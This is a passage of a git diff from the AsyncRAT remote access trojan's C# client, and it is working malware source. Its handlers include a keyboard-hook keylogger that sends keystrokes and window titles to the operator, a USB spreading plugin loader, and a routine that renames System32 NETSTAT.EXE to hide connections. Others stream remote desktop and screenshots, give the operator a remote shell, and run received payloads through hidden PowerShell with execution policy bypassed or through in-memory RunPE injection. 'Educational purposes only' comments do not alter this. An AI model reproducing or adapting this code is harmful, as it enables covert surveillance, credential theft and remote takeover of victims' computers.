msgpack.ForcePathObject("Message").AsString = ex;
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -1,94 +1,22 @@
|
||||
using MessagePackLib.MessagePack;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using Client.MessagePack;
|
||||
using System.Threading;
|
||||
using Client.Connection;
|
||||
|
||||
namespace Plugin
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public static class Packet
|
||||
{
|
||||
public static void Read(object data)
|
||||
{
|
||||
MsgPack unpack_msgpack = new MsgPack();
|
||||
unpack_msgpack.DecodeFromBytes((byte[])data);
|
||||
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||
{
|
||||
case "keyLogger":
|
||||
{
|
||||
HandleLimeLogger.isON = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
// │ Author : NYAN CAT
|
||||
// │ Name : LimeLogger v0.1
|
||||
// │ Contact : https://github.com/NYAN-x-CAT
|
||||
|
||||
public static void Error(string ex)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Error";
|
||||
msgpack.ForcePathObject("Error").AsString = ex;
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
// This program is distributed for educational purposes only.
|
||||
|
||||
|
||||
public class ClipboardNotification : Form
|
||||
{
|
||||
public ClipboardNotification()
|
||||
{
|
||||
SetParent(Handle, HWND_MESSAGE);
|
||||
AddClipboardFormatListener(Handle);
|
||||
}
|
||||
|
||||
protected override void WndProc(ref Message m)
|
||||
{
|
||||
if (m.Msg == WM_CLIPBOARDUPDATE)
|
||||
{
|
||||
Debug.WriteLine($"Clipboard {Clipboard.GetCurrentText()}");
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||
msgpack.ForcePathObject("log").AsString = $"\n\r[Clipboard]\n{Clipboard.GetCurrentText()}\n\r";
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
base.WndProc(ref m);
|
||||
}
|
||||
|
||||
private const int WM_CLIPBOARDUPDATE = 0x031D;
|
||||
private static IntPtr HWND_MESSAGE = new IntPtr(-3);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool AddClipboardFormatListener(IntPtr hwnd);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent);
|
||||
}
|
||||
|
||||
internal static class Clipboard
|
||||
{
|
||||
public static string GetCurrentText()
|
||||
{
|
||||
string ReturnValue = string.Empty;
|
||||
Thread STAThread = new Thread(
|
||||
delegate ()
|
||||
{
|
||||
ReturnValue = System.Windows.Forms.Clipboard.GetText();
|
||||
});
|
||||
STAThread.SetApartmentState(ApartmentState.STA);
|
||||
STAThread.Start();
|
||||
STAThread.Join();
|
||||
|
||||
return ReturnValue;
|
||||
}
|
||||
}
|
||||
|
||||
public static class HandleLimeLogger
|
||||
public static class HandleLimeLogger
|
||||
{
|
||||
public static bool isON = false;
|
||||
public static void Run()
|
||||
@ -96,38 +24,28 @@ namespace Plugin
|
||||
_hookID = SetHook(_proc);
|
||||
new Thread(() =>
|
||||
{
|
||||
while (Connection.IsConnected)
|
||||
while (ClientSocket.IsConnected)
|
||||
{
|
||||
Thread.Sleep(1000);
|
||||
Thread.Sleep(10);
|
||||
if (isON == false)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
UnhookWindowsHookEx(_hookID);
|
||||
Connection.Disconnected();
|
||||
GC.Collect();
|
||||
CurrentActiveWindowTitle = "";
|
||||
Application.Exit();
|
||||
}).Start();
|
||||
Application.Run(new ClipboardNotification());
|
||||
Application.Run();
|
||||
}
|
||||
|
||||
private static IntPtr SetHook(LowLevelKeyboardProc proc)
|
||||
{
|
||||
try
|
||||
using (Process curProcess = Process.GetCurrentProcess())
|
||||
using (ProcessModule curModule = curProcess.MainModule)
|
||||
{
|
||||
using (Process curProcess = Process.GetCurrentProcess())
|
||||
using (ProcessModule curModule = curProcess.MainModule)
|
||||
{
|
||||
return SetWindowsHookEx(WHKEYBOARDLL, proc,
|
||||
GetModuleHandle(curModule.ModuleName), 0);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
isON = false;
|
||||
return IntPtr.Zero;
|
||||
return SetWindowsHookEx(WHKEYBOARDLL, proc,
|
||||
GetModuleHandle(curModule.ModuleName), 0);
|
||||
}
|
||||
}
|
||||
|
||||
@ -138,11 +56,11 @@ namespace Plugin
|
||||
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
|
||||
{
|
||||
int vkCode = Marshal.ReadInt32(lParam);
|
||||
bool capsLockPressed = (GetKeyState(0x14) & 0xffff) != 0;
|
||||
bool shiftPressed = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0;
|
||||
bool capsLock = (GetKeyState(0x14) & 0xffff) != 0;
|
||||
bool shiftPress = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0;
|
||||
string currentKey = KeyboardLayout((uint)vkCode);
|
||||
|
||||
if (capsLockPressed || shiftPressed)
|
||||
if (capsLock || shiftPress)
|
||||
{
|
||||
currentKey = currentKey.ToUpper();
|
||||
}
|
||||
@ -153,6 +71,7 @@ namespace Plugin
|
||||
|
||||
if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24)
|
||||
currentKey = "[" + (Keys)vkCode + "]";
|
||||
|
||||
else
|
||||
{
|
||||
switch (((Keys)vkCode).ToString())
|
||||
@ -164,7 +83,7 @@ namespace Plugin
|
||||
currentKey = "[ENTER]\n";
|
||||
break;
|
||||
case "Escape":
|
||||
currentKey = "[ESC]\n";
|
||||
currentKey = "";
|
||||
break;
|
||||
case "Back":
|
||||
currentKey = "[Back]";
|
||||
@ -175,24 +94,23 @@ namespace Plugin
|
||||
}
|
||||
}
|
||||
|
||||
if (!string.IsNullOrEmpty(currentKey))
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (CurrentActiveWindowTitle == GetActiveWindowTitle())
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (CurrentActiveWindowTitle == GetActiveWindowTitle())
|
||||
{
|
||||
sb.Append(currentKey);
|
||||
}
|
||||
else
|
||||
{
|
||||
sb.Append($"\n\r[{DateTime.Now.ToShortTimeString()}] [{GetActiveWindowTitle()}]");
|
||||
sb.Append($"\n{currentKey}");
|
||||
}
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||
msgpack.ForcePathObject("log").AsString = sb.ToString();
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
sb.Append(currentKey);
|
||||
}
|
||||
else
|
||||
{
|
||||
sb.Append(Environment.NewLine);
|
||||
sb.Append(Environment.NewLine);
|
||||
sb.Append($"### {GetActiveWindowTitle()} ###");
|
||||
sb.Append(Environment.NewLine);
|
||||
sb.Append(currentKey);
|
||||
}
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
||||
msgpack.ForcePathObject("log").AsString = sb.ToString();
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
return CallNextHookEx(_hookID, nCode, wParam, lParam);
|
||||
}
|
||||
@ -222,20 +140,19 @@ namespace Plugin
|
||||
{
|
||||
try
|
||||
{
|
||||
const int nChars = 256;
|
||||
StringBuilder stringBuilder = new StringBuilder(nChars);
|
||||
IntPtr handle = GetForegroundWindow();
|
||||
GetWindowThreadProcessId(handle, out uint pid);
|
||||
if (GetWindowText(handle, stringBuilder, nChars) > 0)
|
||||
{
|
||||
CurrentActiveWindowTitle = stringBuilder.ToString();
|
||||
return CurrentActiveWindowTitle;
|
||||
}
|
||||
IntPtr hwnd = GetForegroundWindow();
|
||||
GetWindowThreadProcessId(hwnd, out uint pid);
|
||||
Process p = Process.GetProcessById((int)pid);
|
||||
string title = p.MainWindowTitle;
|
||||
if (string.IsNullOrWhiteSpace(title))
|
||||
title = p.ProcessName;
|
||||
CurrentActiveWindowTitle = title;
|
||||
return title;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return "???";
|
||||
}
|
||||
return "???";
|
||||
}
|
||||
|
||||
#region "Hooks & Native Methods"
|
||||
@ -247,8 +164,6 @@ namespace Plugin
|
||||
private static string CurrentActiveWindowTitle;
|
||||
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
|
||||
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
|
||||
@ -282,5 +197,4 @@ namespace Plugin
|
||||
#endregion
|
||||
|
||||
}
|
||||
|
||||
}
|
41
AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs
Normal file
41
AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs
Normal file
@ -0,0 +1,41 @@
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
//
|
||||
// │ Author : NYAN CAT
|
||||
// │ Name : LimeUSB v0.3
|
||||
|
||||
// Contact Me : https://github.com/NYAN-x-CAT
|
||||
// This program Is distributed for educational purposes only.
|
||||
//
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandleLimeUSB
|
||||
{
|
||||
public HandleLimeUSB(MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
|
||||
MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize");
|
||||
object injObj = loader.CreateInstance(meth.Name);
|
||||
int count = (int)meth.Invoke(injObj, null);
|
||||
if (count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "usb";
|
||||
msgpack.ForcePathObject("Count").AsString = count.ToString();
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
50
AsyncRAT-C#/Client/Handle Packet/HandleNetStat.cs
Normal file
50
AsyncRAT-C#/Client/Handle Packet/HandleNetStat.cs
Normal file
@ -0,0 +1,50 @@
|
||||
using Client.Helper;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public static class HandleNetStat
|
||||
{
|
||||
static bool switcher = false;
|
||||
static readonly string OriginalFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32\\NETSTAT.EXE");
|
||||
static readonly string BackupFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32\\NETSTAT.Backup.txt");
|
||||
|
||||
public static void RunNetStat()
|
||||
{
|
||||
//light switch logic CopyPasta by MrDevBot
|
||||
if (!Methods.IsAdmin()) return; //if we are not admin return
|
||||
|
||||
if (switcher == false) //The current screen is NOT blanked and needs to be
|
||||
{
|
||||
try
|
||||
{
|
||||
File.Move(OriginalFile, BackupFile);
|
||||
}
|
||||
catch (Exception ex)//probably AntiTamper protection or Admin Privilages
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
|
||||
switcher = true; //sets the switch to on for next click
|
||||
return; //returns to calling function
|
||||
}
|
||||
else //the screen is blanked and should be switched back to old
|
||||
{
|
||||
try
|
||||
{
|
||||
File.Move(BackupFile, OriginalFile);
|
||||
}
|
||||
catch (Exception ex)//probably AntiTamper protection or Admin Privilages
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
switcher = false; //sets the switch to off for next click
|
||||
return; //returns to calling function
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,10 +1,11 @@
|
||||
using System;
|
||||
using Client.Helper;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace Plugin.Handler
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandlePcOptions
|
||||
{
|
||||
@ -42,8 +43,7 @@ namespace Plugin.Handler
|
||||
CreateNoWindow = true,
|
||||
}
|
||||
};
|
||||
proc.Start();
|
||||
break;
|
||||
proc.Start(); break;
|
||||
}
|
||||
|
||||
case "logoff":
|
||||
@ -65,5 +65,4 @@ namespace Plugin.Handler
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -1,50 +1,40 @@
|
||||
using MessagePackLib.MessagePack;
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace Plugin
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public static class Packet
|
||||
{
|
||||
public static void Read(object data)
|
||||
{
|
||||
MsgPack unpack_msgpack = new MsgPack();
|
||||
unpack_msgpack.DecodeFromBytes((byte[])data);
|
||||
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||
{
|
||||
case "processManager":
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Option").AsString)
|
||||
{
|
||||
case "List":
|
||||
{
|
||||
new HandleProcessManager().ProcessList();
|
||||
break;
|
||||
}
|
||||
|
||||
case "Kill":
|
||||
{
|
||||
new HandleProcessManager().ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public class HandleProcessManager
|
||||
{
|
||||
public HandleProcessManager(MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Option").AsString)
|
||||
{
|
||||
case "List":
|
||||
{
|
||||
ProcessList();
|
||||
break;
|
||||
}
|
||||
|
||||
case "Kill":
|
||||
{
|
||||
ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public void ProcessKill(int ID)
|
||||
{
|
||||
foreach (var process in Process.GetProcesses())
|
||||
@ -94,13 +84,11 @@ namespace Plugin
|
||||
}
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "processManager";
|
||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||
msgpack.ForcePathObject("Message").AsString = sb.ToString();
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
113
AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs
Normal file
113
AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs
Normal file
@ -0,0 +1,113 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
using System.Runtime.InteropServices;
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using Client.StreamLibrary.UnsafeCodecs;
|
||||
using Client.Helper;
|
||||
using Client.StreamLibrary;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandleRemoteDesktop
|
||||
{
|
||||
public HandleRemoteDesktop(MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Option").AsString)
|
||||
{
|
||||
case "capture":
|
||||
{
|
||||
CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
|
||||
break;
|
||||
}
|
||||
|
||||
case "mouseClick":
|
||||
{
|
||||
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
||||
Cursor.Position = position;
|
||||
mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1);
|
||||
break;
|
||||
}
|
||||
|
||||
case "mouseMove":
|
||||
{
|
||||
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
||||
Cursor.Position = position;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
public void CaptureAndSend(int quality, int Scrn)
|
||||
{
|
||||
TempSocket tempSocket = new TempSocket();
|
||||
string hwid = Methods.HWID();
|
||||
Bitmap bmp = null;
|
||||
BitmapData bmpData = null;
|
||||
Rectangle rect;
|
||||
Size size;
|
||||
MsgPack msgpack;
|
||||
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
|
||||
MemoryStream stream;
|
||||
while (tempSocket.IsConnected && ClientSocket.IsConnected)
|
||||
{
|
||||
try
|
||||
{
|
||||
bmp = GetScreen(Scrn);
|
||||
rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
|
||||
size = new Size(bmp.Width, bmp.Height);
|
||||
bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
|
||||
|
||||
using (stream = new MemoryStream())
|
||||
{
|
||||
unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream);
|
||||
|
||||
if (stream.Length > 0)
|
||||
{
|
||||
msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("ID").AsString = hwid;
|
||||
msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
|
||||
msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(Screen.AllScreens.Length);
|
||||
tempSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
bmp.UnlockBits(bmpData);
|
||||
bmp.Dispose();
|
||||
}
|
||||
catch { break; }
|
||||
}
|
||||
try
|
||||
{
|
||||
bmp?.UnlockBits(bmpData);
|
||||
bmp?.Dispose();
|
||||
tempSocket?.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private Bitmap GetScreen(int Scrn)
|
||||
{
|
||||
Rectangle rect = Screen.AllScreens[Scrn].Bounds;
|
||||
try
|
||||
{
|
||||
Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
|
||||
using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot))
|
||||
{
|
||||
gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
|
||||
return bmpScreenshot;
|
||||
}
|
||||
}
|
||||
catch { return new Bitmap(rect.Width, rect.Height); }
|
||||
}
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo);
|
||||
}
|
||||
}
|
@ -1,4 +1,5 @@
|
||||
using MessagePackLib.MessagePack;
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
@ -6,7 +7,7 @@ using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace Plugin.Handler
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
class HandleReportWindow
|
||||
{
|
||||
@ -46,7 +47,6 @@ namespace Plugin.Handler
|
||||
case "stop":
|
||||
{
|
||||
Packet.ctsReportWindow?.Cancel();
|
||||
Connection.Disconnected();
|
||||
break;
|
||||
}
|
||||
}
|
||||
@ -56,11 +56,6 @@ namespace Plugin.Handler
|
||||
{
|
||||
Packet.ctsReportWindow?.Cancel();
|
||||
Packet.ctsReportWindow = new CancellationTokenSource();
|
||||
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "reportWindow-";
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
|
||||
title = new List<string>();
|
||||
foreach (string s in unpack_msgpack.ForcePathObject("Title").AsString.ToLower().Split(new[] { "," }, StringSplitOptions.None))
|
||||
title.Add(s.Trim());
|
||||
@ -72,9 +67,8 @@ namespace Plugin.Handler
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "reportWindow";
|
||||
msgpack.ForcePathObject("Report").AsString = window;
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
90
AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs
Normal file
90
AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs
Normal file
@ -0,0 +1,90 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using Client.MessagePack;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandleSendTo
|
||||
{
|
||||
public void SendToDisk(MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
//Drop To Disk
|
||||
string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
|
||||
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
|
||||
if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1"))
|
||||
Process.Start(new ProcessStartInfo { FileName = "powershell", Arguments = "–ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File \"" + fullPath + "\"", CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden });
|
||||
else
|
||||
Process.Start(fullPath);
|
||||
if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
|
||||
{
|
||||
new HandleUninstall();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public void SendToMemory(MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] buffer = unpack_msgpack.ForcePathObject("File").GetAsBytes();
|
||||
string injection = unpack_msgpack.ForcePathObject("Inject").AsString;
|
||||
byte[] plugin = unpack_msgpack.ForcePathObject("Plugin").GetAsBytes();
|
||||
if (injection.Length == 0)
|
||||
{
|
||||
//Reflection
|
||||
new Thread(delegate ()
|
||||
{
|
||||
try
|
||||
{
|
||||
Assembly loader = Assembly.Load(buffer);
|
||||
object[] parm = null;
|
||||
if (loader.EntryPoint.GetParameters().Length > 0)
|
||||
{
|
||||
parm = new object[] { new string[] { null } };
|
||||
}
|
||||
loader.EntryPoint.Invoke(null, parm);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
})
|
||||
{ IsBackground = true }.Start();
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
//RunPE
|
||||
new Thread(delegate ()
|
||||
{
|
||||
try
|
||||
{
|
||||
Assembly loader = Assembly.Load(plugin);
|
||||
MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize");
|
||||
meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection) });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
})
|
||||
{ IsBackground = true }.Start();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,5 +1,5 @@
|
||||
using Plugin;
|
||||
using MessagePackLib.MessagePack;
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
@ -9,7 +9,7 @@ using System.Management;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace Miscellaneous.Handler
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public static class HandleShell
|
||||
{
|
||||
@ -42,7 +42,7 @@ namespace Miscellaneous.Handler
|
||||
ProcessShell.Start();
|
||||
ProcessShell.BeginOutputReadLine();
|
||||
ProcessShell.BeginErrorReadLine();
|
||||
while (Connection.IsConnected)
|
||||
while (ClientSocket.IsConnected)
|
||||
{
|
||||
Thread.Sleep(1);
|
||||
if (CanWrite)
|
||||
@ -51,8 +51,8 @@ namespace Miscellaneous.Handler
|
||||
{
|
||||
break;
|
||||
}
|
||||
ProcessShell.StandardInput.WriteLine(Input);
|
||||
CanWrite = false;
|
||||
ProcessShell.StandardInput.WriteLine(Input);
|
||||
CanWrite = false;
|
||||
}
|
||||
}
|
||||
|
||||
@ -68,9 +68,8 @@ namespace Miscellaneous.Handler
|
||||
Output.AppendLine(e.Data);
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "shell";
|
||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||
msgpack.ForcePathObject("ReadInput").AsString = Output.ToString();
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
@ -88,7 +87,6 @@ namespace Miscellaneous.Handler
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
Connection.Disconnected();
|
||||
}
|
||||
|
||||
private static void KillProcessAndChildren(int pid)
|
||||
@ -112,5 +110,4 @@ namespace Miscellaneous.Handler
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
}
|
40
AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs
Normal file
40
AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs
Normal file
@ -0,0 +1,40 @@
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
using System.Threading;
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandleThumbnails
|
||||
{
|
||||
public HandleThumbnails()
|
||||
{
|
||||
try
|
||||
{
|
||||
Thread.Sleep(new Random().Next(3000));
|
||||
Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
|
||||
using (Graphics g = Graphics.FromImage(bmp))
|
||||
using (MemoryStream memoryStream = new MemoryStream())
|
||||
{
|
||||
g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size);
|
||||
Image thumb = bmp.GetThumbnailImage(256, 256, () => false, IntPtr.Zero);
|
||||
thumb.Save(memoryStream, ImageFormat.Jpeg);
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
|
||||
msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
thumb.Dispose();
|
||||
}
|
||||
bmp.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
@ -1,5 +1,5 @@
|
||||
using Plugin;
|
||||
using MessagePackLib.MessagePack;
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
@ -10,7 +10,7 @@ using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Miscellaneous.Handler
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandleTorrent
|
||||
{
|
||||
